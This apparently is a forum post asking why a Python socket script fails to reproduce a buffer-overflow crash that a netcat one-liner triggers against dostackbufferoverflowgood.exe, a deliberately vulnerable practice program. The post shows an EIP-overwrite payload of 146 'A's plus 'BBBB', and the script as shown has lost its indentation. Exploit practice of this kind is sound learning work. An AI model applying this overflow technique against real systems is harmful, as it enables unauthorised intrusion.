I am trying to practice buffer overflow using dostackbufferoverflowgood.exe and I encountered a problem.
While using netcat to send 5000 A's by using the command echo `python3 -c "print('A'*146 + 'BBBB')"` | nc 192.168.1.237 31337 the program is crashing and the value of EIP is 42424242, so that's good.
When trying to do the same thing with a python script, nothing is happening, and I tried debugging it for a while including using python2, wiresharking but all seems the same both on client and the server, except that the server isn't replying, which is weird but it is replying to nc, so it must be something with the python script.
python script:
import socket
server = '192.168.1.237'
port = 31337
data = b'A'*146 + b'B'*4
print(len(data))
print(data)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print(f'trying to connect to {server}')
s.connect((server,port))
s.send(data)
print('data was sent')
data = s.recv(1024)
print(data)
Again, when capturing wireshark everything seems to be the same, so I have no idea why this is happening.
If someone encountered anything like that, would appreciate any help, thank you!